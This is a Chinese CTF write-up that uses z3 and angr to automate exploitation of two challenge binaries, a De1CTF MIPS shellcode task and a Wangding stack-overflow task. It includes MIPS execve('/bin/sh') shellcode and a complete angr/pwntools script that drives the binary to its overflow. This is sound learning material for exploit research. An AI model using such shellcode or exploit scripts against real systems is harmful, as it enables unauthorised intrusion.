Automatic Exploitation Generation,没有遇到过这样的题目,记录一下。

De1CTF 2020 code runner

比赛过程中没有做出来,趁着环境还在赶紧复现一下。

主要的参考材料:

简单分析

没有附件,直接nc服务器:

1
2
3
4
5
➜  code_runner nc 106.53.114.216 9999
=========Pow========
hashlib.sha256(s).hexdigest() == "8e2a3a28577ababd200796a8f82a65e0793581af3388b8cf2fa1a3485466d68a"
len(s) == 3
>

嗯3字节的pow直接爆破就可以了。

之后程序会给你base64的dump,解密之后是个gzip文件,用gunzip解压拿到bin。file一下是个mips程序。

1
2
3
4
5
6
7
8
9
10
11
➜  code_runner file bin
bin: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld., for GNU/Linux 3.2.0, BuildID[sha1]=dcbddacdb51901806b57c634286e3faa3d72bd11, stripped
➜ code_runner checksec bin
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/keenan/Desktop/De1ctf/code_runner/bin'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

checksec看到NX关闭可能是个写shellcode的题目。

需要注意的是每次nc拿到的程序都不同。所以需要自动化的分析和攻击。

没怎么接触过MIPS的题目,搭环境。

继续分析

比赛的时候用各种qemu-mips*都没有成功运行起来程序,应该是下载的libc不对;运行不起来显然也不能gdb attach。看WP复现的时候发现arm_now可以,安装的步骤这里省略,github搜一下就好。

1
arm_now start mips32el --sync --redir tcp:1337:1337

用mips32el的环境,--sync表示同步当前文件夹,后面redir是转发端口方便调试。

运行的时候如果报错:qemu-system-mipsel: -nic: invalid option,可以直接跑qemu的命令。

1
2
3
4
5
6
7
8
9
10
11
> qemu-system-mipsel \
> -kernel arm_now/kernel \
> -hda arm_now/rootfs.ext2 \
> -append 'root=/dev/hda console=ttyS0 rw physmap.enabled=0 noapic' \
> -m 256M \
> -nographic \
> -serial stdio \
> -monitor null \
> -gdb tcp::1337 \
> -no-reboot
>

用户为root:

1
2
3
4
5
6
7
8
> # ls
> bin wget-log wget-log.2 wget-log.4 wget-log.6
> exp.py wget-log.1 wget-log.3 wget-log.5 wget-log.7
> # ./bin
>
> Faster >
> aaaa
>

现在可以正常执行。但是gdb连接有些问题,暂时存疑。

拿到bin可以开始逆向了,使用Ghidra等工具都可以。

首先看一下main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void* main(unsigned int param0, void* param1, void* __nbytes, unsigned int param3) {
unsigned int v0 = *gvar_4140A0;
gettimeofday(&v4, 0);
__nbytes = 256;
param1 = 0;
memset(&v5, 0, 256);
void* ptr0 = &v5;
sub_401DDC(&v5, 0, 256, param3);
void* result = sub_401EA4(&v5, 0, 256, param3);

if(!((unsigned char)(((int)result) == 0))) {
gettimeofday(&v6, 0);
unsigned int v1 = (v6 - v4) * 1000000 + v2 - v3;
result = __divdi3(v1, 0, 1000000, 0);
void* ptr1 = result;
result = __moddi3(v1, 0, 1000000, 0);
__nbytes = ptr1;
printf("======== %lld.%llds ========\n");
sub_401F80(v1, 0, __nbytes, 0);
puts("Your time comes.\n> ");
__nbytes = 100000;
param3 = 0;
param1 = 0;
result = __divdi3(v1, 0, 100000, 0);
void* ptr2 = result;

if(!((unsigned char)(((int)result) >= 13))) {
__nbytes = ((unsigned int)(0 - ((int)result))) * 4 + 52;
param1 = &v5;
read(0, &v5, __nbytes);
}

ptr0();
}

result = 0;

if(!((unsigned char)(((int)(**&gvar_4140A0)) == v0))) {
result = __stack_chk_fail(v0, param1, __nbytes, param3);
}

return result;
}

我们的数据通过sub_401EA4校验,如果返回的result是0,失败,不为0,成功,进入下面的分支。

注意这里:

1
2
3
4
5
6
7
if(!((unsigned char)(((int)result) >= 13))) {
__nbytes = ((unsigned int)(0 - ((int)result))) * 4 + 52;
param1 = &v5;
read(0, &v5, __nbytes);
}

ptr0();

如果满足result < 13,就可以读入v5的内容,并调用了ptr0();,而ptr是栈上v5的地址,这个地方相当于直接把v5的内容执行,也就是执行我们输入的shellcode。(太菜了,比赛的时候没注意到这里)。

这样思路就很简单了:

  • 通过逆向拿到能让result不为0的输入
  • 准备能getshell的shellcode

那来看一下输入的要求是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
void* sub_401EA4(unsigned int param0, void* param1, unsigned int param2, unsigned int param3) {
unsigned int v0 = *gvar_4140A0;
memset(&v1, 0, 256);
puts("Faster > ");
read(0, &v1, 256);
void* result = sub_401CD4(&v1, &v1, 256, param3);

if(**&gvar_4140A0 != v0) {
result = __stack_chk_fail(v0, &v1, 256, param3);
}

return result;
}

读入了0x100个字节,处理在sub_401CD4。然后找到:

1
2
3
unsigned int sub_401C0C(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
return ((unsigned int)(*(param0 + 3))) + ((unsigned int)(*param0)) == 21 || ((unsigned int)(*(param0 + 1))) + ((unsigned int)(*param0)) == 195 || ((unsigned int)(*(param0 + 1))) + ((unsigned int)(*(param0 + 2))) == 18 ? 0: sub_401ADC(param0 + 4, param1, param2, param3);
}

整理一下:

1
2
3
4
5
unsigned int sub_401C0C(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
return ((*(param0 + 3))) + ((*param0)) == 21
|| ((*(param0 + 1))) + ((*param0)) == 195
|| ((*(param0 + 1))) + ((*(param0 + 2))) == 18 ? 0: sub_401ADC(param0 + 4, param1, param2, param3);
}

相当于要求

1
buf[3] + buf[0] == 21 && buf[1] + buf[0] == 195 && buf[1] + buf[2] == 18

也就是校验了buf的前4个字节。之后调用sub_401ADC

1
2
3
unsigned int sub_401ADC(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
return ((unsigned int)(*(param0 + 1))) + ((unsigned int)(*(param0 + 2))) + ((unsigned int)(*param0)) != 521 || ((unsigned int)(*(param0 + 1))) + ((unsigned int)(*(param0 + 2))) + ((unsigned int)(*(param0 + 3))) != 440 || ((unsigned int)(*(param0 + 2))) + ((unsigned int)(*(param0 + 3))) + ((unsigned int)(*param0)) != 493 || ((unsigned int)(*(param0 + 3))) + ((unsigned int)(*(param0 + 1))) + ((unsigned int)(*param0)) != 373 ? 0: sub_401A28(param0 + 4, param1, param2, param3);
}

形式类似。对于这种校验模式有一个专业的名字叫线性,也就是前4个字节不正确后面的就不会处理,前4个字节正确才会处理之后的4个字节,以此类推。

初识angr

angr是一个以前听过的工具,可以自动化的分析。

A powerful and user-friendly binary analysis platform! http://angr.io

https://github.com/angr/angr

根据主页可以看到这个工具可以干很多有趣的事情,例如符号执行:

  • Disassembly and intermediate-representation lifting
  • Program instrumentation
  • Symbolic execution
  • Control-flow analysis
  • Data-dependency analysis
  • Value-set analysis (VSA)
  • Decompilation

安装按照官网即可:https://docs.angr.io/introductory-errata/install

需要注意以下mkvirtualenv可能不在/usr/bin而在/usr/local/bin下一个sh文件。

1
2
source "/usr/local/bin/virtualenvwrapper.sh"
export WORKON_HOME=$HOME/Python-workhome

安装如果报错minidump的话应该是python不到3.6,升级一下。升级的时候搜到的加apt仓库的基本不行,因为那个仓库不能用了…参考下源码编译安装:https://medium.com/@moreless/install-python-3-6-on-ubuntu-16-04-28791d5c2167

安装:

1
mkvirtualenv --python=$(which python3.6) angr && pip3.6 install angr

先创建了虚拟环境之后安装,主要是为了避免影响到其他程序。

1
2
3
4
5
6
(angr) ➜  code_runner python3.6
Python 3.6.3 (default, May 6 2020, 03:06:26)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import angr
>>>

退出环境之后,如果想重新使用angr,通过workon指令重新进入即可。

1
2
3
4
➜  code_runner workon
angr
➜ code_runner workon angr
(angr) ➜ code_runner
  • 创建环境 mkvirtualenv env1 mkvirtualenv env2
  • 环境创建之后,会自动进入该目录,并激活该环境。
  • 切换环境 workon env1 workon env2
  • 列出已有环境 workon
  • 退出环境 deactivate
  • 删除环境 rmvirtualenv

根据WP上的angr脚本:

1
2
3
4
5
6
7
import angr

p = angr.Project("./bin")
state = p.factory.blank_state(addr=0x401e88)
sm = p.factory.simgr(state)
sm.explore(find=0x400b30)
print(sm.found[0].posix.dumps(0))

我并没有运行成功,看WP说这个也是不好的做法,比较慢,约15分钟。于是提到了另一个求解工具:z3 solver。

初识z3-solver

同样也是听过几次名字的工具,似乎在密码学和逆向的题目中经常用到。

z3是由微软公司开发的一个优秀的SMT求解器(也就定理证明器),它能够检查逻辑表达式的可满足性。z3 solver是python的一个库,通过from z3 import *即可使用,大概就是输入一些条件求解出符合要求的输出。对于多解的问题也可以求出。看起来是算逻辑题目的好工具:https://www.7forz.com/3255/

z3的语法现学一下就好了。先举一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python2

from z3 import *

p = map(int, [0, 1, 2, 3])
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[0] == 0x10)
s.add(A[1] == 0x20)
s.add(A[2] == 0x30)
s.add(A[3] == 0x40)
print s
print s.check()
m = s.model()
print m
print hex(m[a].as_long())

这里把4个字节当作一个整数看,A分别是第0-3个字节对应的数。输出:

1
2
3
4
5
6
7
8
9
➜  code_runner python z3_script.py
[a & 255 == 16,
a >> 8 & 255 == 32,
a >> 16 & 255 == 48,
a >> 24 & 255 == 64]
sat
[a = 1076895760]
1076895760
0x40302010

回顾一下之前的分析结果:

1
2
3
4
5
unsigned int sub_401C0C(unsigned int param0, unsigned int param1, unsigned int param2, unsigned int param3) {
return ((*(param0 + 3))) + ((*param0)) == 21
|| ((*(param0 + 1))) + ((*param0)) == 195
|| ((*(param0 + 1))) + ((*(param0 + 2))) == 18 ? 0: sub_401ADC(param0 + 4, param1, param2, param3);
}

这里面有三个条件约束,可以写出这样的z3求解脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
from z3 import *

s = Solver()
v1 = BitVec('v1', 8)
v2 = BitVec('v2', 8)
v3 = BitVec('v3', 8)
v4 = BitVec('v4', 8)

s.add(v4 + v1 == 21)
s.add(v2 + v1 == 195)
s.add(v2 + v3 == 18)

print s.check()

得到的是sat,说明存在解,且这里面解不唯一,因为四个未知数三个约束条件。

模式归类

以上面的为例,其模式可以总结为:

1
2
3
4
5
type 1:
s[0] + s[1] != ?
s[1] + s[2] != ?
s[2] + s[3] != ?
s[3] + s[0] != ?

上面的是三个条件,不知道为何…看WP是一共6种模式,这是其中一个。

剩余的模式可以总结为:

1
2
3
4
5
type 2:
s[0] + s[1] + s[2] == ?
s[1] + s[2] + s[3] == ?
s[2] + s[3] + s[0] == ?
s[3] + s[0] + s[1] == ?
1
2
3
4
5
type 3:
s[0] == ?
s[3] == ?
s[1] == s[3]
s[2] == s[0]
1
2
3
4
5
type 4:
s[1] == ?
s[2] == ?
s[1] * s[1] == s[3]
s[2] * s[2] + s[3] * s[3] - s[1] * s[1] == s[0]
1
2
3
type 5:
|s[3] * s[3] - s[0] * s[0]| ? |s[2] * s[2] - s[3] * s[3]| // 符号不确定
|s[3] * s[3] - s[2] * s[2]| ? |s[0] * s[0] - s[1] * s[1]|

以上是在一个bin中发现的模式,所以看起来每个bin中用到的模式还挺多的。官方WP中还有第六种。

1
2
3
4
5
type 6:
s[1] ^ s[0] == ?
s[1] == ?
(s[1] ^ s[0]) << 1 == s[2]
s[1] ^ s[0] ^ s[2] == s[3]

官方WP中这里的第三个规则写的是s[2] == ((s[0]^s[1]&0x7f)*2)%256

和官网WP的对应关系:

官网WP的type 1 2 3 4 5 6
我编号的type 5 1 2 4 6 2

OK…通过重复一个步骤的变种来增加工作量呗。

大体思路

现在基本可以明确的思路为:

  • 完成pow等步骤拿到bin文件
  • 通过分析二进制文件内容,首先识别是哪一个type,再通过z3求解出满足条件的此4个字节,并最终拿到完成的输入
  • 输入getshell的shellcode

MIPS的shellcode应该也比较容易:

1
2
3
4
5
6
7
8
9
li $a0,0x6e69622f    # nib/
sw $a0,0($sp)
li $a0,0x68732f # hs/
sw $a0,4($sp)
move $a0,$sp
li $v0,4011
li $a1,0
li $a2,0
syscall

调用asm之前指定context.arch='mips'

难点(不想下手的原因)

从出题角度来看,应该由服务器通过随机生成源程序编译之后获得。

问题1

如何识别是6个模式中的哪一种模式?我们似乎需要找到一个特征值,可以通过它来确定是哪一个模式。

问题2

如果已经确定是哪一种模式,如何正确取出关键的数据?如进行比较的值为多少,判断使用的是大于or小于or等于or不等于,编译是否会进行优化使得我们分析错误?

目前唯一一个安慰自己的点在于使用的是MIPS的架构,指令等长,比较起来应该容易很多,如果是变长的话应该很难分析了,或者用反汇编出来的结果而不是比较机器码。

胡乱(脱坑)分析

没有什么继续下去的兴趣了。后面的工作似乎都是谷歌工具如何使用+分情况讨论+复制粘贴代码加修改的任务了。从出发点来看我认为这个题目还是比较有新意的,自动化攻击的题目的确比较少,主要限制的点在于,如果要自动攻击势必要使用工具,这就使得漏洞类型要比较简单,变的基本就是攻击的参数,例如栈溢出的padding等。看起来这里认为这样过于简单,于是加上了逆向的部分,并做了变异使得情景更多写脚本更麻烦。

如果这道题目如下修改:保留MIPS架构,但逆向部分的长度剪短,减少逆向的模式,我认为更合适。保留难度的同时可以让更多选手了解自动化的工具。让一个题目变“好”不应该通过单纯增加重复性的工作量/计算量来实现,“好”的题目也不应该和做出来人数少的题目画等号。好的题目应该让选手觉得打开了一扇大门,而不是紧闭了一扇大门。以上只是萌新的个人观点😀。

Wangding 2020 faster0

简单分析

这道题目似乎是更适合入门angr。比赛的时候开始的pow就省略了。随机选pow的函数意义何在呢🙃

完成pow之后解压脱壳,到手一个64ELF,并提供了运行该程序的docker接口。程序是没有去符号的。

image-20200513165012377

main函数从func000进入,每一个函数长的差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall func000(__int64 a1, __int64 a2)
{
int v2; // eax
__int64 result; // rax

v2 = nums++;
if ( v2 )
exit(-1);
read_one();
switch ( (unsigned int)off_406034 )
{
case 0u:
result = func001();
break;
case 1u:
result = func089();
break;
case 2u:
result = func079();
break;
case 3u:
result = func002();
break;
case 4u:
result = func091();
break;
case 5u:
result = func046();
break;
case 6u:
result = func042();
break;
case 7u:
result = func072();
break;
case 8u:
result = func055();
break;
case 9u:
result = func066();
break;
default:
result = func000(a1, a2);
break;
}
return result;
}

又一个计数器要求匹配,也就是需要从func000到func0001到func002,最后通过func099进入到func100:

1
2
3
4
5
6
7
8
9
10
11
ssize_t func100()
{
char buf; // [rsp+0h] [rbp-D0h]
char v2; // [rsp+CFh] [rbp-1h]

v2 = getchar();
if ( v2 != 10 )
exit(-1);
write(1, "WOW,U R GREAT !\n", 0x10uLL);
return read(0, &buf, 0x200uLL);
}

奖励就是一个栈溢出。

我们这次的目标重点在如何求解出从func000到func100的路径上。

已知条件

由于程序是有符号的,所以在pwntools中可以直接拿到每一个func的地址。

在比赛的时候,以为不熟悉angr,当时的想法是想通过文件偏移的方式,把func里每一个case里call的值提取出来,再拿到对应的输入:

1
2
3
mov     eax, 0          
call func001
jmp short loc_40097E

具体就是查找mov eax, 0这个语句的字节码,然后把call的位置取出,通过比较call的地址得出是那个输入能够进入下一个func。不过写了代码之后发现只能算对前几个func的输入,之后会出错。主要原因应该是这种找call地址的方法并不准确,可能找到了其他的代码。

现在已知每个func的地址,其实就是想得出从func x进入到func x+1的输入,并且我们知道输入是0-9中的一个。路径的起始位置是func000,终止位置是func100。

在通过angr符号执行时,我们的目标是func地址+0x26的call read_one的位置开始,并且不执行exit函数。

熟悉语法

构造输入

这里使用claripy来构造输入,功能类似于z3,一些常用的语法:

1
2
claripy.BVS() 创建位向量符号(不是值)
claripy.BVV() 创建位向量值 (不是符号)

常见的场景是BVS表示要求解的量,BVV表示已经计算出的量。

1
argv1 = claripy.BVS("argv1",100*8) # 创建一个800bit的符号argv1

在运行程序的时候将其设置为参数:(输入的话就是stdin=)

1
initial_state = p.factory.entry_state(args=["./ais3_crackme",argv1])

之后初始化simulation_manager,设置find和avoid。

拼接

1
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

可以作为stdin的参数了。

约束输入

1
2
3
for k in flag_chars:
st.solver.add(k != 0)
st.solver.add(k != 10)

这样执行起来效率更高避免无效的输入。

运行

一般用explore()即可。

参考:https://xz.aliyun.com/t/4039

感觉和题目越来越像了hhhh。

编写利用

从func000到func001

先把基本的操作完成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import angr
import claripy

elf = ELF('./pwn', checksec=False)

p = angr.Project('./pwn', auto_load_libs=False) # 设置为False不去分析链接库,工作量可以减少很多

func_addr = []
for i in range(101):
func_name = 'func%03d' % i
#print(func_name)
func_addr.append(elf.sym[func_name])

start_addr = [_ + 0x27 for _ in func_addr]
start_addr[0] -= 1 # fix func000
lose_addr = elf.plt['exit']
#key = b''

主要就是把100个func地址拿出来,然后计算call read_one的地址作为每次求解的目标地址,lose_addr是exit的地址。key是我们要求解的输入。

这里的win和lose可能有点绕:

  • 假如现在在func000,如果输入正确,可以进入func001,不会退出
  • 如果输入错误,会进入其他func,在检查num的时候会exit,所以lose设置为exit的地址

简单的说就是剪枝啦。

然后是求第一次输入的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def cal_key():
key = b''
win = start_addr[1]
print(hex(win))
key_list = [claripy.BVV(key)]
key_list += [
claripy.BVS(b'func000', 8)
]
key = claripy.Concat(*key_list)
print(key)
init_state = p.factory.full_init_state(
args = ['./pwn'],
stdin = key
)

for i in key_list[1::]:
# key_list[0] is null
init_state.solver.add(i >= b'0')
init_state.solver.add(i <= b'9')

simgr = p.factory.simgr(init_state)
simgr.explore(
find = win,
avoid = lose_addr
)
print(simgr.found[0].posix.dumps(0))

cal_key()

运行结果为:

1
b'0'

看一下是对的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall func000(__int64 a1, __int64 a2)
{
int v2; // eax
__int64 result; // rax

v2 = nums++;
if ( v2 )
exit(-1);
read_one(a1, a2);
switch ( (unsigned int)off_406034 )
{
case 0u:
result = func001(a1, a2);
break;

并且这一步非常快,大概2秒钟左右。

从func000到func090

基本上现在求解func x 到 func x+1 是没有问题了。但是如果直接求从func000到func100似乎时间会比较长。所以我们分成10步,每次求解10个输入,避免angr多次准备模拟的耗时。

上次我们的cal_key还没有设置参数,为了方便之后的多轮计算我们做如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def cal_key(win, key):
finished_length = len(key)
key_list = [claripy.BVV(key)]
key_list += [
claripy.BVS(b'func%3d' % (i+finished_length), 8) for i in range(10)
]
key = claripy.Concat(*key_list)
print(key_list)
print(key)
init_state = p.factory.full_init_state(
args = ['./pwn'],
stdin = key
)
for i in key_list[1::]:
# key_list[0] is null
init_state.solver.add(i >= b'0')
init_state.solver.add(i <= b'9')

simgr = p.factory.simgr(init_state)
simgr.explore(
find = win,
avoid = lose_addr
)
result = simgr.found[0].posix.dumps(0)
print(result)
return result

for i in range(10, 100, 10):
key = cal_key(start_addr[i], key)

这里之所以只算了前90个输入是因为如果算100个需要加个回车。

从func000到func100

纠正一下最后的win_addr不是func100+0x26,这里设为fuc100中call _read的地址。完整的脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import angr
import claripy

#context.log_level = 'debug'

elf = ELF('./pwn', checksec=False)

p = angr.Project('./pwn', auto_load_libs=False)

func_addr = []
for i in range(101):
func_name = 'func%03d' % i
func_addr.append(elf.sym[func_name])
start_addr = [_ + 0x27 for _ in func_addr]
start_addr[0] -= 1 # fix func000
lose_addr = elf.plt['exit']
key = b''

def cal_key(win, key, last_round = False):
finished_length = len(key)
key_list = [claripy.BVV(key)]
key_list += [claripy.BVS(b'func%3d' % (i+finished_length), 8) for i in range(10)]
if not last_round:
key = claripy.Concat(*key_list)
else:
key = claripy.Concat(*key_list + [claripy.BVV(b'\n')])
init_state = p.factory.full_init_state(
args = ['./pwn'],
stdin = key
)
for i in key_list[1::]:
# key_list[0] is null
init_state.solver.add(i >= b'0')
init_state.solver.add(i <= b'9')

simgr = p.factory.simgr(init_state)
simgr.explore(
find = win,
avoid = lose_addr
)
result = simgr.found[0].posix.dumps(0)
print(result)
return result

win_addr = 0x405F44 # call _read in func100
for i in range(10, 100, 10):
key = cal_key(start_addr[i], key)
key = cal_key(win_addr, key, True)

r = process('./pwn')
r.send(key)
r.interactive()

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DEBUG   | 2020-05-13 20:45:56,714 | pwnlib.elf.elf | PLT 0x400640 write
DEBUG | 2020-05-13 20:45:56,717 | pwnlib.elf.elf | PLT 0x400650 setbuf
DEBUG | 2020-05-13 20:45:56,720 | pwnlib.elf.elf | PLT 0x400660 memset
DEBUG | 2020-05-13 20:45:56,721 | pwnlib.elf.elf | PLT 0x400670 alarm
DEBUG | 2020-05-13 20:45:56,721 | pwnlib.elf.elf | PLT 0x400680 read
DEBUG | 2020-05-13 20:45:56,723 | pwnlib.elf.elf | PLT 0x400690 getchar
DEBUG | 2020-05-13 20:45:56,723 | pwnlib.elf.elf | PLT 0x4006a0 atoi
DEBUG | 2020-05-13 20:45:56,724 | pwnlib.elf.elf | PLT 0x4006b0 exit
b'0546503881'
b'05465038819490628756'
b'054650388194906287565254576748'
b'0546503881949062875652545767480941574417'
b'05465038819490628756525457674809415744177513779929'
b'054650388194906287565254576748094157441775137799299243878739'
b'0546503881949062875652545767480941574417751377992992438787396781787602'
b'05465038819490628756525457674809415744177513779929924387873967817876021552406073'
b'054650388194906287565254576748094157441775137799299243878739678178760215524060735651998312'
b'0546503881949062875652545767480941574417751377992992438787396781787602155240607356519983128340814436\n'
[+] Starting local process './pwn': pid 16811
INFO | 2020-05-13 20:47:48,577 | pwnlib.tubes.process.process.140325705267072 | Starting local process './pwn'
INFO | 2020-05-13 20:47:48,588 | pwnlib.tubes.process.process.140325705267072 | Starting local process './pwn': pid 16811
[*] Switching to interactive mode
INFO | 2020-05-13 20:47:48,590 | pwnlib.tubes.process.process.140325705267072 | Switching to interactive mode
WOW,U R GREAT !
$

一次完整的求解需要的时间大概在2分钟左右。比赛时提供的5分钟docker看来是绰绰有余的。

这样求解输入的部分就OK了。后面的栈溢出就easy了。不过比赛过程中似乎通过ROP调用system binsh不能正常getshell,最后通过syscall来实现的。

体会

其实最后写出来脚本也挺短的,不过其中遇到了很多跑不出来的时候,主要是算错win的地址。

感觉类似的AEG的题目可以拿来出好玩的KoH题目,最先跑出结果的为king。出题时的key按照某个特定的模式/规律生成,选手在能够自动求出key的基础上需要分析背后的模式来 提高angr的求解速度。

在几年前的defcon就出现了类似的AEG的题目,Defcon还是强啊。